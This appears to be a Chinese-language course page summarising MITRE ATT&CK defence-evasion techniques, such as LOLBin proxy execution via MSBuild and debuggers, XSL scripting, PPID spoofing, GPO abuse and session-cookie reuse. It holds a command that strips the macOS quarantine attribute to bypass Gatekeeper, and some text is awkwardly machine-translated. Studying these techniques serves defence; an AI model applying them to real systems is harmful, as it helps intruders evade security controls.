受信任的开发人员工具

有许多用于软件开发相关工作的实用程序可以用来以多种形式执行代码,以帮助开发、调试和逆向工程。 这些实用程序通常具有合法证书的签名,这些证书使它们可以在系统上执行,并通过可以有效地绕过应用程序白名单防御解决方案的可信进程来代理执行恶意代码。 A. MSBuild MSBuild.exe (Microsoft Build Engine) 是 Visual Studio 使用的软件构建平台。 它使用 XML 格式的项目文件,这些文件定义了构建各种平台和配置的需求。 攻击者可以使用 MSBuild 通过受信的 Windows 实用程序代理代码的执行。 .NET 版本 4 中引入的 MSBuild 的内联任务功能允许将 c#代码插入到 XML 项目文件中。 内联任务 MSBuild 将编译并执行内联任务。 MSBuild.exe 是由 Microsoft 签名的二进制文件,因此当以这种方式使用它时,可以执行任意代码并绕过配置为允许 MSBuild.exe 的应用程序白名单防御。 B. DNX .NET 执行环境 (DNX), DNX.exe 是随 Visual Studio Enterprise 打包的软件开发工具包。 它在 2016 年被淘汰,取而代之的是。NET Core CLI 。 DNX 不存在于 Windows 的标准版本中,并且可能只存在于使用旧版。NET Core 和 ASP.NET Core 1.0 的开发人员工作站上。 可执行文件 dnx.exe 由 Microsoft 签名。 攻击者可以使用 DNX. exe 代理执行任意代码,以绕过允许 DNX 执行的应用程序白名单策略。 C. RCSI Rcsi.exe 实用程序是用于 c#的非交互式命令行接口,类似于 csi.exe。 Roslyn.net 编译器平台的早期版本提供 Rcsi.exe,但是在集成解决方案中弃用了。 rcsi.exe 由 Microsoft 签名。在命令行上使用 rcsi.exe 编写和执行 c# .csx 脚本文件。 攻击者可以使用 rcsi.exe 来代理执行任意代码,从而绕过允许 rcsi.exe 执行的应用程序白名单策略。 D. WinDbg /CDB WinDbg 是一个 Microsoft Windows 内核和用户模式调试工具。Microsoft Console Debugger (CDB) cdb.exe 也是用户模式调试器。 这两个实用程序都在 Windows 软件开发工具包中,可以作为独立的工具使用。它们通常用于软件开发和逆向工程,在典型的 Windows 系统中可能找不到。 WinDbg.exe 和 cdb.exe 都是由 Microsoft 签名的。攻击者可以使用 WinDbg.exe 和 cdb.exe 来代理任意代码的执行,从而绕过允许这些实用程序执行的应用程序白名单策略。 其他调试器也可以用于类似的目的,比如内核模式调试器 kd.exe,它也由 Microsoft 签名。 E. Tracker 文件跟踪器 tracker.exe,作为 MSBuild 的一部分包含在。NET 框架中。它用于记录对 Windows 文件系统的调用。 攻击者可以利用 tracker.exe 将任意 DLL 的执行代理到其他进程中。 tracker.exe 也具有签名,因此可以使用它来绕过应用程序白名单解决方案。

有效帐户

攻击者可以使用凭据访问技术窃取特定用户或服务帐户的凭据,或者通过社会工程在早期侦察过程中获取凭据,以获取初始访问权限。 被盗取的凭据可以用于绕过对网络内系统上各种资源的访问控制,甚至可能用于对远程系统和外部可用服务(如 vpn、Outlook Webaccess 和远程桌面)的持久性访问。被盗取的凭据还可能给攻击者提供特定系统的更高权限,或对网络的受限区域的访问权。攻击者可能会选择不把这些凭据提供的合法访问与恶意软件或工具结合使用,使其更加隐蔽。 攻击者也可以创建帐户,有时使用预定义的帐户名称和密码,作为在其他方法失败时通过备用访问获得持久性的一种方法。 跨系统网络的凭据和权限的重叠令人担忧,因为攻击者可能能够跨帐户和系统实现高级别访问(例如,域或企业管理员) ,以绕过企业内设置的访问控制。 Web 服务 攻击者可以使用现有的合法外部 Web 服务将命令转发到受攻击系统。 这些命令还可以包括指向命令与控制 (C2) 基础结构的指针。攻击者可能会在带有嵌入式(通常是混淆/编码的)域名或 IP 地址的 Web 服务上发布内容,即所谓的死点解析器。一旦感染,受害者就会主动接触这些解析器,并被它们重新引导。 作为 C2 机制的流行网站和社交媒体可能会提供大量的掩护,因为在达成攻击之前,网络中的主机可能已经在与它们进行通信。使用常见的服务,比如 Google 或 Twitter 提供的服务,可以让攻击者更容易地隐藏在预期的干扰中。Web 服务提供者通常使用 SSL/TLS 加密,这为攻击者提供了额外的保护。 使用 Web 服务还可以通过恶意软件二进制分析保护后端 C2 基础设施不被发现,同时还可以支持操作弹性(因为这个基础设施可能会动态更改)。

XSL 脚本处理

可扩展样式表语言 (XSL) 文件通常用于描述 XML 文件中的数据处理和渲染方式。 为了支持复杂的操作,XSL 标准包括对各种语言的嵌入式脚本的支持。 攻击者可能会滥用此功能来执行任意文件,同时可能会绕过应用程序白名单防御。 与可信的开发人员实用程序 (Trusted Developer Utilities) 类似,可以安装 Microsoft 命令行转换实用程序 (msxsl.exe),并使用它来执行嵌入在本地或远程(通过 URL 引用的)XSL 文件中的恶意 JavaScript。 因为在默认情况下不会安装 msxsl.exe ,攻击者可能需要将其与删除的文件打包。

Gatekeeper 绕过

在macOS和OS X中,从Internet下载应用程序或程序时,在名为的文件上设置了特殊属性com.apple.quarantine。苹果的Gatekeeper防御程序会在执行时读取此属性,并向用户提示允许或拒绝执行。 从USB闪存驱动器,光盘,外部硬盘驱动器甚至从本地网络共享的驱动器加载到系统上的应用程序都不会设置此标志。此外,其他实用程序或事件(例如“路过”下载)也不一定要对其进行设置。这完全绕过了内置的Gatekeeper检查。
的检疫标志的存在可以通过XATTR命令检查xattr /path/to/MyApp.app了com.apple.quarantine。类似地,给定sudo访问权限或提升的权限,也可以使用xattr删除此属性sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app。 在典型操作中,文件将从互联网上下载并被隔离,然后保存到磁盘。当用户尝试打开文件或应用程序时,macOS的网守将介入并检查此标志的存在。如果存在,则macOS会提示用户确认他们要运行该程序,甚至会提供应用程序来源的URL。但是,所有这些都基于从隔离应用程序下载的文件。

执行Guardrails

执行Guardrail会根据目标提供的特定于对手的环境特定条件来限制执行或操作。 Guardrail确保仅对预定目标执行有效载荷,并减少敌方战役造成的附带损害。对手可以提供的有关用作Guardrail的目标系统或环境的值可能包括特定的网络共享名称,附加的物理设备,文件,已加入的Active Directory(AD)域以及本地/外部IP地址。 环境密钥是一种类型的Guardrail,包括用于从给定计算环境中的特定类型的值派生加密/解密密钥的加密技术。值可以从特定于目标的元素派生,并用于为加密的有效负载生成解密密钥。特定于目标的值可以从特定的网络共享,物理设备,软件/软件版本,文件,已加入的AD域,系统时间以及本地/外部IP地址中得出。通过从特定于目标的环境值生成解密密钥,环境密钥可以使沙箱检测,反病毒检测,信息众包和逆向工程变得困难。这些困难可能会减慢事件响应过程的速度,并帮助对手隐藏其战术,技术和程序(TTP)。 类似于混淆文件或信息(T1027),对手可能会使用防Guardrail和环境密钥来帮助保护其TTP并逃避检测。例如,环境密钥可用于将加密的有效负载传递给目标,该目标将在执行之前使用特定于目标的值来解密有效负载。通过利用特定于目标的值解密有效载荷,对手可以避免将解密密钥与有效载荷一起打包或通过潜在的受监视网络连接发送。根据收集目标特定值的技术,对加密有效负载进行反向工程可能会异常困难。通常,Guardrail可用于防止在不希望受到损害或在其中运行的环境中暴露功能。Guardrail的使用不同于典型的虚拟化/沙盒逃避(T1497),在后者中可以做出不进一步参与的决定,因为对手指定的价值条件是针对特定目标的,而不是使其可能出现在任何环境中。

组策略修改

攻击者可能会修改组策略对象(GPO),以颠覆域的预期的自由访问控制,通常是为了提升域的特权。 组策略允许集中管理Active Directory(AD)中的用户和计算机设置。GPO是用于组策略设置的容器,该组策略设置由存储在可预测网络路径中的文件组成\\SYSVOL\\Policies\。 像AD中的其他对象一样,GPO具有与其关联的访问控制。默认情况下,域中的所有用户帐户都具有读取GPO的权限。可以将GPO访问控制权限(例如写访问权限)委派给域中的特定用户或组。 恶意GPO修改可用于实施计划任务(T1053),禁用安全工具(T1089),远程文件复制(T1105),创建帐户(T1136),服务执行(T1035)等。由于GPO可以控制AD环境中的众多用户和计算机设置,因此,这种GPO滥用可能会导致大量潜在的攻击。可通过修改GPO设置(在本例中为修改)New-GPOImmediateTask来利用公开可用的脚本(例如)来自动执行恶意的计划任务(T1053)\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml。在某些情况下,对手可能会修改特定的用户权限,例如SeEnableDelegationPrivilege(在中设置)\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf,以实现对域的完全控制的微妙的AD后门,因为在对手的控制下的用户帐户便可以修改GPO。

绕过虚拟化/沙盒

攻击者可能会检查是否存在虚拟机环境(VME)或沙箱,以避免潜在地检测到工具和活动。如果对手检测到VME,他们可能会更改其恶意软件以隐藏植入物的核心功能或与受害者分离。他们还可能在丢弃次要或其他有效载荷之前搜索VME工件。攻击者可能会在自动发现过程中使用从虚拟化/沙盒逃避中学到的信息来塑造后续行为。 攻击者可以通过搜索安全监视工具(例如Sysinternals,Wireshark等)来使用包括安全软件发现在内的多种方法来完成虚拟化/沙盒逃避,以帮助确定其是否为分析环境。其他方法包括在恶意软件代码中使用睡眠计时器或循环,以避免在临时沙箱中进行操作

传递后编译

攻击者可能试图通过将文件作为未编译的代码传递给受害者,从而使有效载荷难以发现和分析。与模糊文件或信息(T1027)相似,基于文本的源代码文件可能会破坏针对可执行文件/二进制文件的保护措施的分析和审查。这些有效负载将需要在执行之前进行编译;通常通过本机实用程序,例如csc.exe或GCC/MinGW。 源代码有效载荷也可以被加密,编码和/或嵌入在其他文件中,例如作为鱼叉式附件(T1193)交付的文件。有效载荷也可能以无法识别的格式传递给本机OS(例如,macOS/Linux上的EXE),本质上是良性的,然后再通过捆绑的编译器和执行框架(重新)编译为适当的可执行二进制文件。

PPID欺骗

对手可能会欺骗新进程的父进程标识符(PPID),以逃避进程监视防御或提升特权。除非明确指定,否则通常直接从其父进程或调用进程中产生新进程。显式分配新进程的PPID的一种方法是通过CreateProcessAPI调用,该调用支持定义要使用的PPID的参数。Windows功能(例如,用户帐户控制(UAC))使用此功能来在系统(通常是通过svchost.exe或consent.exe)而不是当前用户上下文生成请求的提升进程后正确设置PPID 。 对手可能滥用这些机制来逃避防御,如阻塞进程直接从Office文档,并分析产卵针对不同寻常的/潜在的恶意父子进程的关系,如欺骗的PPID的PowerShell(T1086)/Rundll32(T1085)是explorer.exe,而不是交付Office文档作为鱼叉附件的(T1193)一部分。可以通过恶意Office文档中的VBA脚本(T1064)或可以通过API(T1106)执行S执行的(T1106)任何代码来执行此欺骗。 明确分配PPID还可以启用特权升级(TA0004)(对父进程具有适当的访问权限)。例如,特权用户上下文中的对手(即管理员)可以产生一个新进程,并将父进程分配为以SYSTEM(例如)身份运行的进程lsass.exe,从而通过继承的访问令牌提升新进程。

web session Cookie

攻击者可以使用被盗的会话cookie来对Web应用程序和服务进行身份验证。由于会话已通过身份验证,因此该技术绕过了一些多因素身份验证协议。 用户对服务进行身份验证后,身份验证cookie通常在Web应用程序(包括基于云的服务)中使用,因此无需传递凭据,也不需要频繁进行重新身份验证。即使没有积极使用Web应用程序,Cookie通常也可以长期有效。通过Steal Web Session Cookie(T1539)获得cookie之后(T1539),对手将cookie导入到他们控制的浏览器中,并且只要会话cookie处于活动状态,便能够以用户身份使用该站点或应用程序。一旦登录到站点,攻击者就可以访问敏感信息,阅读电子邮件或执行受害者帐户有权执行的操作。 PS:有针对会话cookie绕过多因素身份验证系统的恶意软件示例,可自行搜索。
引言,ATT&CK的组成,设计理念及战术划分,ATT&CK Navigator,使用场景,APT攻击链分析:APT-C-36,APT攻击链分析:APT-32,战术前言,Initial Access,Execution,Persistence,Privilege Escalation,简介,Credential Access,Discovery,Lateral Movement,Collection,Exfiltration,Command and Control,Impact,Defense Evasion(一),Defense Evasion(二),Defense Evasion(三),知识盒子,知识付费,在线教育